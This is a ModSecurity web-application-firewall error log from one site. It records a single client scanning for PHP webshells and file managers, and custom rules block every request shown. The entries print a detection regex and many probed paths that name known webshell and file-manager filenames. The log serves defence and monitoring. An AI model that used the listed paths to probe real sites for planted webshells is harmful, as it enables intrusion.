[Sun Mar 29 18:48:29.225924 2026] [:error] [pid 23284:tid 23298] [client 51.103.28.129:30124] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goods.php"] [unique_id "ackDfYzBujdPHsq7wyQrvwAAAow"]
[Sun Mar 29 18:48:30.079678 2026] [:error] [pid 23250:tid 23274] [client 51.103.28.129:50501] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goods.php"] [unique_id "ackDfpxrpj-dQjy1cvrnNwAAAlY"]
[Sun Mar 29 18:48:30.754224 2026] [:error] [pid 23168:tid 23220] [client 51.103.28.129:23128] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goods.php"] [unique_id "ackDfmP8p0yRL8ot_29mqwAAAhc"]
[Sun Mar 29 18:48:31.776468 2026] [:error] [pid 23167:tid 23182] [client 51.103.28.129:52101] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "ackDfxIAHJCFaHff3_eWFQAAAcw"]
[Sun Mar 29 18:48:32.710559 2026] [:error] [pid 32255:tid 32302] [client 51.103.28.129:16991] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "ackDgGnfn-AtRoMbquymeQAAAEs"]
[Sun Mar 29 18:48:33.421779 2026] [:error] [pid 32257:tid 32342] [client 51.103.28.129:31330] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "ackDgSE3TArOFrUtgWrRuwAAAJg"]
[Sun Mar 29 18:48:34.287343 2026] [:error] [pid 23250:tid 23259] [client 51.103.28.129:53126] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "ackDgpxrpj-dQjy1cvrnPQAAAkc"]
[Sun Mar 29 18:48:34.956764 2026] [:error] [pid 32257:tid 32322] [client 51.103.28.129:42477] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "ackDgiE3TArOFrUtgWrRvgAAAIQ"]
[Sun Mar 29 18:49:16.331348 2026] [:error] [pid 32257:tid 32338] [client 51.103.28.129:16523] [client 51.103.28.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "ackDrCE3TArOFrUtgWrSlQAAAJQ"]
[Sun Mar 29 18:49:23.574333 2026] [:error] [pid 23137:tid 23146] [client 51.103.28.129:27953] [client 51.103.28.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/theme-compat/chosen.php"] [unique_id "ackDsxaWQa7LdZ_qGFbh0AAAAYc"]
[Sun Mar 29 18:49:28.459800 2026] [:error] [pid 8818:tid 8832] [client 51.103.28.129:16545] [client 51.103.28.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/fm.php"] [unique_id "ackDuCCDvotZNSF0FBq8YgAAAUo"]
[Sun Mar 29 18:49:29.143091 2026] [:error] [pid 32257:tid 32322] [client 51.103.28.129:17708] [client 51.103.28.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/about.php"] [unique_id "ackDuSE3TArOFrUtgWrS3QAAAIQ"]
[Sun Mar 29 18:49:41.399678 2026] [:error] [pid 32257:tid 32335] [client 51.103.28.129:46274] [client 51.103.28.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/Text/admin.php"] [unique_id "ackDxSE3TArOFrUtgWrS9gAAAJE"]
[Sun Mar 29 18:49:53.585461 2026] [:error] [pid 32257:tid 32329] [client 51.103.28.129:16518] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ctex1.php"] [unique_id "ackD0SE3TArOFrUtgWrTIgAAAIs"]
[Sun Mar 29 18:49:54.552788 2026] [:error] [pid 23137:tid 23150] [client 51.103.28.129:16218] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ctex1.php"] [unique_id "ackD0haWQa7LdZ_qGFbh3QAAAYs"]
[Sun Mar 29 18:49:55.248075 2026] [:error] [pid 32257:tid 32332] [client 51.103.28.129:60230] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ctex1.php"] [unique_id "ackD0yE3TArOFrUtgWrTIwAAAI4"]
[Sun Mar 29 18:49:55.994336 2026] [:error] [pid 23168:tid 23215] [client 51.103.28.129:26265] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ctex1.php"] [unique_id "ackD02P8p0yRL8ot_29m7gAAAhI"]
[Sun Mar 29 18:49:57.375553 2026] [:error] [pid 23168:tid 23213] [client 51.103.28.129:59032] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/d12.php"] [unique_id "ackD1WP8p0yRL8ot_29m9QAAAhA"]
[Sun Mar 29 18:49:58.214067 2026] [:error] [pid 23167:tid 23184] [client 51.103.28.129:51068] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/d12.php"] [unique_id "ackD1hIAHJCFaHff3_eWUAAAAc4"]
[Sun Mar 29 18:49:59.261915 2026] [:error] [pid 32359:tid 32376] [client 51.103.28.129:36280] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/d12.php"] [unique_id "ackD1wMb8G3UzfQP3WgYzAAAAM8"]
[Sun Mar 29 18:50:01.229195 2026] [:error] [pid 23167:tid 23181] [client 51.103.28.129:40900] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/d12.php"] [unique_id "ackD2RIAHJCFaHff3_eWWgAAAcs"]
[Sun Mar 29 18:50:02.031390 2026] [:error] [pid 32257:tid 32336] [client 51.103.28.129:34842] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/menu.php"] [unique_id "ackD2iE3TArOFrUtgWrTLAAAAJI"]
[Sun Mar 29 18:50:03.487045 2026] [:error] [pid 23250:tid 23272] [client 51.103.28.129:40906] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/menu.php"] [unique_id "ackD25xrpj-dQjy1cvrnsQAAAlQ"]
[Sun Mar 29 18:50:04.436085 2026] [:error] [pid 23168:tid 23202] [client 51.103.28.129:55633] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/menu.php"] [unique_id "ackD3GP8p0yRL8ot_29nEAAAAgU"]
[Sun Mar 29 18:50:05.675395 2026] [:error] [pid 32257:tid 32340] [client 51.103.28.129:40909] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/menu.php"] [unique_id "ackD3SE3TArOFrUtgWrTNgAAAJY"]
[Sun Mar 29 18:50:06.917978 2026] [:error] [pid 8818:tid 8833] [client 51.103.28.129:37215] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sf.php"] [unique_id "ackD3iCDvotZNSF0FBq8dQAAAUs"]
[Sun Mar 29 18:50:07.669736 2026] [:error] [pid 23284:tid 23289] [client 51.103.28.129:27945] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sf.php"] [unique_id "ackD34zBujdPHsq7wyQtGwAAAoM"]
[Sun Mar 29 18:50:08.818394 2026] [:error] [pid 23284:tid 23296] [client 51.103.28.129:16200] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sf.php"] [unique_id "ackD4IzBujdPHsq7wyQtIgAAAoo"]
[Sun Mar 29 18:50:10.201070 2026] [:error] [pid 23284:tid 23291] [client 51.103.28.129:55643] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sf.php"] [unique_id "ackD4ozBujdPHsq7wyQtLAAAAoU"]
[Sun Mar 29 18:50:11.720302 2026] [:error] [pid 32257:tid 32329] [client 51.103.28.129:51015] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "ackD4yE3TArOFrUtgWrTRAAAAIs"]
[Sun Mar 29 18:50:12.399088 2026] [:error] [pid 32257:tid 32330] [client 51.103.28.129:31826] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "ackD5CE3TArOFrUtgWrTTAAAAIw"]
[Sun Mar 29 18:50:13.233877 2026] [:error] [pid 32254:tid 32265] [client 51.103.28.129:23845] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "ackD5aug2IHuyGgCTn9K9wAAAAE"]
[Sun Mar 29 18:50:14.216989 2026] [:error] [pid 32257:tid 32335] [client 51.103.28.129:26279] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "ackD5iE3TArOFrUtgWrTXgAAAJE"]
[Sun Mar 29 18:50:16.784384 2026] [:error] [pid 23284:tid 23306] [client 51.103.28.129:51045] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/thoms.php"] [unique_id "ackD6IzBujdPHsq7wyQtNgAAApQ"]
[Sun Mar 29 18:50:17.964762 2026] [:error] [pid 23168:tid 23220] [client 51.103.28.129:58522] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/thoms.php"] [unique_id "ackD6WP8p0yRL8ot_29nHgAAAhc"]
[Sun Mar 29 18:50:18.984872 2026] [:error] [pid 23284:tid 23305] [client 51.103.28.129:23897] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/thoms.php"] [unique_id "ackD6ozBujdPHsq7wyQtOwAAApM"]
[Sun Mar 29 18:50:19.729466 2026] [:error] [pid 23250:tid 23265] [client 51.103.28.129:16548] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/thoms.php"] [unique_id "ackD65xrpj-dQjy1cvrnuQAAAk0"]
[Sun Mar 29 18:50:20.339724 2026] [:error] [pid 32254:tid 32285] [client 51.103.28.129:16251] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/O-Simple.php"] [unique_id "ackD7Kug2IHuyGgCTn9K_gAAABU"]
[Sun Mar 29 18:50:20.885575 2026] [:error] [pid 32254:tid 32274] [client 51.103.28.129:16201] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/O-Simple.php"] [unique_id "ackD7Kug2IHuyGgCTn9K_wAAAAo"]
[Sun Mar 29 18:50:21.695109 2026] [:error] [pid 23168:tid 23212] [client 51.103.28.129:55617] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/O-Simple.php"] [unique_id "ackD7WP8p0yRL8ot_29nJgAAAg8"]
[Sun Mar 29 18:50:22.510036 2026] [:error] [pid 32257:tid 32320] [client 51.103.28.129:23864] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/O-Simple.php"] [unique_id "ackD7iE3TArOFrUtgWrTjwAAAII"]
[Sun Mar 29 18:50:23.204187 2026] [:error] [pid 32255:tid 32296] [client 51.103.28.129:23914] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class-.php"] [unique_id "ackD72nfn-AtRoMbquyn5QAAAEU"]
[Sun Mar 29 18:50:23.824747 2026] [:error] [pid 32257:tid 32337] [client 51.103.28.129:17705] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class-.php"] [unique_id "ackD7yE3TArOFrUtgWrTlQAAAJM"]
[Sun Mar 29 18:50:24.409121 2026] [:error] [pid 32257:tid 32339] [client 51.103.28.129:26252] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class-.php"] [unique_id "ackD8CE3TArOFrUtgWrTmgAAAJU"]
[Sun Mar 29 18:50:25.089208 2026] [:error] [pid 32257:tid 32321] [client 51.103.28.129:23464] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class-.php"] [unique_id "ackD8SE3TArOFrUtgWrToAAAAIM"]
[Sun Mar 29 18:50:26.180361 2026] [:error] [pid 32257:tid 32330] [client 51.103.28.129:58524] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/akcc.php"] [unique_id "ackD8iE3TArOFrUtgWrTogAAAIw"]
[Sun Mar 29 18:50:27.078409 2026] [:error] [pid 32257:tid 32337] [client 51.103.28.129:25777] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/akcc.php"] [unique_id "ackD8yE3TArOFrUtgWrTpQAAAJM"]
[Sun Mar 29 18:50:28.116158 2026] [:error] [pid 23137:tid 23154] [client 51.103.28.129:41972] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/akcc.php"] [unique_id "ackD9BaWQa7LdZ_qGFbh5gAAAY8"]
[Sun Mar 29 18:50:28.672475 2026] [:error] [pid 23167:tid 23190] [client 51.103.28.129:22703] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/akcc.php"] [unique_id "ackD9BIAHJCFaHff3_eWbwAAAdQ"]
[Sun Mar 29 18:50:29.240687 2026] [:error] [pid 32257:tid 32339] [client 51.103.28.129:58531] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ee.php"] [unique_id "ackD9SE3TArOFrUtgWrTqAAAAJU"]
[Sun Mar 29 18:50:30.040785 2026] [:error] [pid 23168:tid 23201] [client 51.103.28.129:40953] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ee.php"] [unique_id "ackD9mP8p0yRL8ot_29nOQAAAgQ"]
[Sun Mar 29 18:50:30.860093 2026] [:error] [pid 32255:tid 32309] [client 51.103.28.129:25775] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ee.php"] [unique_id "ackD9mnfn-AtRoMbquyn_AAAAFI"]
[Sun Mar 29 18:50:32.130840 2026] [:error] [pid 23167:tid 23172] [client 51.103.28.129:26261] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ee.php"] [unique_id "ackD-BIAHJCFaHff3_eWcwAAAcI"]
[Sun Mar 29 18:50:32.764865 2026] [:error] [pid 32359:tid 32379] [client 51.103.28.129:19252] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/epinyins.php"] [unique_id "ackD-AMb8G3UzfQP3WgY2AAAANI"]
[Sun Mar 29 18:50:33.679216 2026] [:error] [pid 32257:tid 32342] [client 51.103.28.129:23443] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/epinyins.php"] [unique_id "ackD-SE3TArOFrUtgWrTtwAAAJg"]
[Sun Mar 29 18:50:34.469452 2026] [:error] [pid 32257:tid 32325] [client 51.103.28.129:58545] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/epinyins.php"] [unique_id "ackD-iE3TArOFrUtgWrTugAAAIc"]
